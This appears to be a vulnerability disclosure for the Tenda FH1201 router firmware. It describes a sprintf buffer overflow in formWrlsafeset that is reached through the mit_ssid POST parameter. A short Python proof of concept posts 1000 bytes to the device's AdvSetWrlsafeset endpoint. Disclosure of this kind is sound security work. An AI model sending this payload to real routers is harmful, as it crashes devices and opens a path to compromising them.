FH1201 V1.0BR_V1.2.0.14
The Tenda FH1201 V1.0BR_V1.2.0.14 firmware has a buffer overflow vulnerability in the formWrlsafeset function. The Var variable receives the mit_ssid parameter from a POST request. However, since the user can control the input of mit_ssid, the sprintf can cause a buffer overflow vulnerability.
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/AdvSetWrlsafeset'
payload = b'a' * 1000
data = {
'mit_ssid':payload
}
requests.post(url, data=data)
